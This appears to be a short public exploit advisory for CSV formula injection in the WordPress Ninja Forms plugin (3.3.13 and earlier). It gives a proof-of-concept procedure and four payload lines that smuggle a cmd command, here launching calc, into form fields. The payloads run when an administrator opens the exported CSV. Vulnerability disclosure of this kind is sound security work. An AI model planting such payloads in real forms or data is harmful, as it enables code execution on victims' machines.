# Exploit Author: Mostafa Gharzi

# Website: https://www.certcc.ir

# Date: 2018-08-19

# Google Dork: N/A

# Vendor: The WP Ninjas

# Software Link: https://wordpress.org/plugins/ninja-forms/

# Affected Version: 3.3.13 and before

# Active installations: 1+ million

# Patched Version: unpatched

# Category: Web Application

# Platform: PHP

# 1. Technical Description:

# WordPress Ninja Forms plugin version 3.3.13 and before are affected by Remote Code Execution

# through the CSV injection vulnerability. This allows an application user

# to inject commands as part of the fields of forms and these commands are executed when a user with

# greater privilege exports the data in CSV and opens that file on his machine.

# 2. Proof Of Concept (PoC):

# Enter the payload =SUM(1+1)*cmd|' /C calc'!A0 in any field of the form,

# for example, in name field.

# When the user with high privileges logs in to the application, export

# data in CSV and opens the

# generated file, the command is executed and the calculator will run open

# on the machine.

# 3. Payloads:

=SUM(1+1)*cmd|' /C calc'!A0

+SUM(1+1)*cmd|' /C calc'!A0

-SUM(1+1)*cmd|' /C calc'!A0

@SUM(1+1)*cmd|' /C calc'!A0
